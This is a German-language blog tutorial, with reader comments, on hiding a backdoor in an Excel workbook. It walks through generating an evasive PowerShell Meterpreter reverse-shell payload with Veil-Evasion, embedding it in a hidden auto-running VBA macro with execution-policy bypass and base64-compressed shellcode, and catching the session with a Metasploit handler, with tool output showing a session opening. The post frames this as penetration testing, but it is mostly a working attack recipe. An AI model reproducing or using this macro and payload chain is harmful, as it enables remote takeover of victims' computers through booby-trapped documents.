Eine Backdoor im Office Dokument – Fun mit Windows Powershell Teil 1

Windows Powershell ist, nicht erst seit kurzem,  ein interessantes Betätigungsfeld für Penetrationstester. Es ist also nicht verwunderlich, dass sich mehr und mehr Nutzer mit dem leistungsfähigen Tool befassen, um ihre Arbeit zu erleichtern und  Abläufe zu automatisieren.

Mit der  auf dem .NET-Framework basierenden Umgebung ist man in der Lage, Behle auf der Kommandozeile ausführen. Darüber hinaus lassen sich die Kommandos, wie aus Unix/Linux bereits bekannt, mit Pipes verknüpfen bzw. zu kurzen Skripten zusammenfassen.

Schon für die Betriebssysteme Windows XP, Windows Server 2003 und Windows Vista bestand die Möglichkeit,  diese Anwendung herunterzuladen und zu nutzen. Seit Windows 7 ist die Version 2.0 vorinstalliert.

Diese standardmäßige Verfügbarkeit macht Windows Powershell  auch für Angreifer interessant.  Für sie bestehen  auf den „Opfer-PC“ komplette Umgebungen, auf denen nur noch die eigenen Skripte gestartet werden müssen.  Virenschutzprogramme  sind  oftmals nicht in der Lage, diesen Programmcode als Schadsoftware zu entlarven.

Vielen  Administratoren ist nicht bewusst, welches Potenzial die Client-PC mit installiertem Windows Powershell besitzen und welche versteckten Gefahren in dieser Anwendung lauern.

Das bereits hier vorgestellte Veil-Framework nutzt Powershell-Skripte  um, in Zusammenarbeit mit dem Metasploit-Framework, Angriffe zu verschleiern bzw. Virenschutzprogramme zu umgehen.

In diesem Blog wird gezeigt, wie man Metasploit-Payload in Office Dokumente einbettet und so eine Backdoor zu einem Windows-System schaffen kann. Wir werden zunächst Payload mit Hilfe des Veil-Frameworks erstellen und diesen dann  in einem Excel-Dokument einbetten.  Hierzu machen wir uns die Makro-Funktionalität von Excel und Windows Powershell zu nutze.

Schritt 1: Veil-Evasion in Kali Linux 2.0 installieren und Payload erzeugen

Unter Kali Linux 2.0 lässt sich Veil-Evasion als Bestandteil des Veil-Frameworks mit folgendem Befehl installieren:

sudo apt-get install veil-evasion
									

Nun wird zunächst  eine hohe Anzahl von zusätzlichen Paketen  heruntergeladen und installiert. Dies kann je nach Qualität der Internetverbindung etwas Zeit in Anspruch nehmen. Ist dies geschehen, so erfolgt nach Eingabe des Befehls veil-evasion die Einrichtung des Programms und der Abhängigkeiten.  Auch hier lädt das Installationsskript weitere Software nach und richtet u.a. Wine, Python und Ruby  unter Kali Linux ein. Ist alles durchgelaufen, so meldet sich  Veil-Evasion mit folgender Oberfläche:

=========================================================================
 Veil-Evasion | [Version]: 2.21.4
=========================================================================
 [Web]: https://www.veil-framework.com/ | [Twitter]: @VeilFramework
=========================================================================

 Main Menu

        46 payloads loaded

 Available Commands:

        use             Use a specific payload
        info            Information on a specific payload
        list            List available payloads
        update          Update Veil-Evasion to the latest version
        clean           Clean out payload folders
        checkvt         Check payload hashes vs. VirusTotal
        exit            Exit Veil-Evasion

 [menu>>]:

									

Wir benötigen für unser Vorhaben den Payload  powershell/shellcode_inject/virtual.  Er ist in der aktuellen Version über die Auswahlliste unter Nr. 25 zu finden.  Eine Übersicht aller verfügbaren Module  erhält  man über den Befehl list.  Mittels use und Eingabe der entsprechenden Ziffer, kann der  Payload für die Nutzung ausgewählt werden.

=========================================================================
 Veil-Evasion | [Version]: 2.21.4
=========================================================================
 [Web]: https://www.veil-framework.com/ | [Twitter]: @VeilFramework
=========================================================================


 Payload: powershell/shellcode_inject/virtual loaded


 Required Options:

 Name                   Current Value   Description
 ----                   -------------   -----------

 Available Commands:

        set             Set a specific option value
        info            Show information about the payload
        options         Show payload's options
        generate        Generate payload
        back            Go to the main menu
        exit            exit Veil-Evasion

 [powershell/shellcode_inject/virtual>>]:

									

Für dieses Modul sind keine weiteren Parameter notwendig. Der Befehl generate erzeugt die notwendigen Skripte. Für den Anfang reicht es aus, die Standardwerte zu übernehmen. In unserem beispiel also 1, Enter (für windows/meterpreter/reverse_tcp, tab (die IP-Adresse des lokalen Systems), 80 (für der PORT), Enter (keine weiteren Optionen)

=========================================================================
 Veil-Evasion | [Version]: 2.21.4
=========================================================================
 [Web]: https://www.veil-framework.com/ | [Twitter]: @VeilFramework
=========================================================================

 [?] Use msfvenom or supply custom shellcode?

     1 - msfvenom (default)
     2 - custom shellcode string
     3 - file with shellcode (raw)

 [>] Please enter the number of your choice: 1

 [*] Press [enter] for windows/meterpreter/reverse_tcp
 [*] Press [tab] to list available payloads
 [>] Please enter metasploit payload:
 [>] Enter value for 'LHOST', [tab] for local IP: 192.168.1.55
 [>] Enter value for 'LPORT': 80
 [>] Enter any extra msfvenom options (syntax: OPTION1=value1 OPTION2=value2):

 [*] Generating shellcode...

									

Der Shellcode wird nun erzeugt. Zum Abschluss legen wir noch einen Dateinamen fest. (hier: test).  Die erzeugten Skripte befinden sich dann im Verzeichnis /var/lib/veil-evasion/output/source

=========================================================================
 Veil-Evasion | [Version]: 2.21.4
=========================================================================
 [Web]: https://www.veil-framework.com/ | [Twitter]: @VeilFramework
=========================================================================


 [>] Please enter the base name for output files (default is 'payload'): test

 Language:              powershell
 Payload:               powershell/shellcode_inject/virtual
 Shellcode:             windows/meterpreter/reverse_tcp
 Options:               LHOST=192.168.1.55  LPORT=80

 Payload File:          /var/lib/veil-evasion/output/source/test.bat
 Handler File:          /var/lib/veil-evasion/output/handlers/test_handler.rc

 [*] Your payload files have been generated, don't get caught!
 [!] And don't submit samples to any online scanner! 😉

 [>] Press any key to return to the main menu.

									

Schritt 2: Makro für Excel erzeugen

Die Datei test.bat enthält nun einen wichtigen Anteil unseres zukünftigen Makros. Wir müssen die einzelnen Komponenten nun nur noch zusammenbauen. Der im  folgenden Bild markierte Bereich zeigt das auszuführende Powershell-Skript und den Base64 kodierten Shellcode.

payload

Da der String zu lang ist, um ihn in eine Variable zu übernehmen, müssen wir ihn in mehrerer Teilsegmente aufteilen. Er wird dann während der Laufzeit wieder zusammengesetzt. Hier ist also genaues Arbeiten gefragt. Später werde ich ein Python-Skript vorstellen, dass diese Arbeit übernimmt. Nun wird aber erst mal das Makro „per Hand“ erstellt.

Ich verwende Microsoft Excel 2007. Ein Template  für das zu erstellende Makro könnte wie folgt aussehen:

Sub Workbook_Open()
Dim Command As String
Dim str As String
Dim exec As String

Arch = Environ("PROCESSOR_ARCHITECTURE")
windir = Environ("windir")
If Arch = "AMD64" Then
        Command = windir + "syswow64windowspowershellv1.0powershell.exe"
Else
        Command = "powershell.exe"
End If


str = "[Teilstring]"
str = str + "[Teilstring]"
str = str + "[Teilstring]"
str = str + "[Teilstring]"
.
.
.
exec = Command + " -NoP -NonI -W Hidden -Exec Bypass -Comm"
exec = exec + "and ""Invoke-Expression $(New-Object IO.StreamRea"
exec = exec + "der ($(New-Object IO.Compression.DeflateStream ("
exec = exec + "$(New-Object IO.MemoryStream (,$([Convert]::From"
exec = exec + "Base64String("" " & str & " "" )))), [IO.Compr"
exec = exec + "ession.CompressionMode]::Decompress)), [Text.Enc"
exec = exec + "oding]::ASCII)).ReadToEnd();"""

Shell exec,vbHide

End Sub
									

Wichtig ist nun, die Teilstrings entsprechend des oben erstellen Payloads zu erstellen. Dies sieht auszugsweise für unser Beispiel folgendermaßen aus. Man startet also mit der Zeichenfolge „nVVNb+M2EL3….“ und endet mit der Zeichenfolge „….XvoncLnqPVf“

str = "nVVNb+M2EL3nVxCGDjZiBdS3tEaA3XZRYIGiKJCgPRg+UCTVCJVlQ5"
str = str + "a3zrb979V79qib9lL0MiRnOF9vZsjAqkf1fnG3/dh1n/bHwz"
str = str + "AuF7/6ofddEj+4rlusdup4rrvWqtNoxmnxl3GSq0/9+OM4qJ"
str = str + "/aYTyb7kPXHezyxvttrc5tP6rLbX29rV9Wm//t59vBm9E/v0"
str = str + "yLEz/nm93Pa/W359vuK983zj+970+f7TD+F997vz/5cflvy3"
.
.
.
str = str + "MhiZer+6BdrdWkug3a3VpFK/WHOpzHsD933ebPu+ALf783X/"
str = str + "8U1Tq4rLHg13sazTCGT533RxU+eXvoncLnqPVf"

									

Um die Arbeit ein wenig zu erleichtern hat khr0x40sh  das Python-Skript macro_safe.py  geschrieben.  Damit wird aus der von Veil-Evasion erstellten Batch-Datei eine Vorlage für das Makro erzeugt und in einer Textdatei abgelegt. Es ist wie folgt anwendbar:

----------------------

 Macro Safe

----------------------
Takes Veil batch output and turns into macro safe text

USAGE: ./macro_safe.py <input batch> <output text>

									

 

Um den Payload in das Office Dokument zu integrieren geht man wie folgt vor:

Unter Excel-Optionen „Entwicklerregisterkarte in der Multifunktionsleiste anzeigen“ aktivieren.

excel1

 

Im Aktenreiter „Entwicklertools“ Visual Basic aufrufen.

excel2

 

Links unter VBAPoject „Diese Arbeitsmappe“ anklicken und rechts „Workbook“ auswählen.

excel3

 

Das Makro hier einfügen.

excel4

 

Als  Excel-Arbeitsmappe mit Makros abspeichern und Dokument schließen.

excel5

 

Greifen die Standardeinstellungen von Excel, so wird nach erneutem Aufrufen des Dokuments eine Warnung angezeigt, die auf Makros hinweist. Nutzer müssen sie als vertrauenswürdig einstufen.

Diese Einstellungen lassen sich aber in Microsoft Excel (im Vertrauensstellungscenter unter „Einstellungen für Makros“) ändern. Bei regelmäßiger Anwendung von Makros wird diese Option erfahrungsgemäß vom Nutzer gern abgeschaltet.

 

Schritt 3: Makro in Excel ausführen und Reverse-Verbindung zum Angreifer herstellen

Im ersten Schritt hatten wir die Batch-Datei mittels Veil-Evasion erzeugt. In diesem Zusammenhang wurde im Hintergrund auch ein Metasploit-Skript erzeugt und als sogenannte Resource-Datei mit Endung *.rc im Verzeichnis /var/lib/veil-evasion/output/handlers abgespeichert. Hier sind Anweisungen enthalten, die den Angreifer-PC für den Empfang der Daten des Opfers vorbereiten. In unserem Beispiel ist man nun in der Lage, über den  Befehl msfconsole -r /var/lib/veil-evasion/output/handlers/test_handler.rc einen Muli-Handler  zu starten, um die eingehende Daten über die Metasploit-Konsole  „in Empfang zu nehmen“.

use exploit/multi/handler
set PAYLOAD windows/meterpreter/reverse_tcp
set LHOST 192.168.1.55
set LPORT 80
set ExitOnSession false
exploit -j

									

Ist das Makro auf dem PC des Opfers ordnungsgemäß ausgeführt worden, so  öffnet sich eine Meterpreter-Session, die nun eine kontinuierliche  Kommunikation mit dem Client gewährleistet.

[*] Processing test.rc for ERB directives.
resource (test.rc)> use exploit/multi/handler
resource (test.rc)> set PAYLOAD windows/meterpreter/reverse_tcp
PAYLOAD => windows/meterpreter/reverse_tcp
resource (test.rc)> set LHOST 192.168.155
LHOST => 192.168.1.55
resource (test.rc)> set LPORT 80
LPORT => 80
resource (test.rc)> set ExitOnSession false
ExitOnSession => false
resource (test.rc)> exploit -j
[*] Exploit running as background job.

[*] Started reverse handler on 192.168.1.55:80 
[*] Starting the payload handler...
msf exploit(handler) > msf exploit(handler) > [*] Sending stage (885806 bytes) to 173.73.xxx.xxx
[*] Meterpreter session 1 opened (95.xxx.xx.xx:80 -> 173.73.xx.xx:49361) at 2015-09-01 19:09:44 -0400

msf exploit(handler) > sessions -l

Active sessions
===============

  Id  Type                   Information                      Connection
  --  ----                   -----------                      ----------
  1   meterpreter x86/win32  Windows7-PCfrank @ WINDOWS7-PC  95.xxx.xx.49:80 -> 173.xx.xxx.xx:49361 (192.168.1.x)
									

[youtube ZwVKmC1Kl48 546 365]

5 Gedanken zu “Eine Backdoor im Office Dokument – Fun mit Windows Powershell Teil 1”

  1. This thing works perfectly if the victim is on same network but doesnot work if victim is on other network

  2. Hallo,

    echt tolle Seite.

    Ich bin gerade dabei es mal zu versuchen. Er zeigt mir einen fehler an wenn ich „generate“ ausführen.
    „WARNING: not all required options filled“

    Was kann ich machen?

    Schöne Grüße

    Denny

    • Das kann ich aus der Ferne schlecht sagen. Auf jeden Fall, wie die Fehlermeldung schon sagt, fehlt ein Parameter, der nicht mit angegeben wurde. Bist Du genau wie im Video gezeigt, vorgegangen?

Schreibe einen Kommentar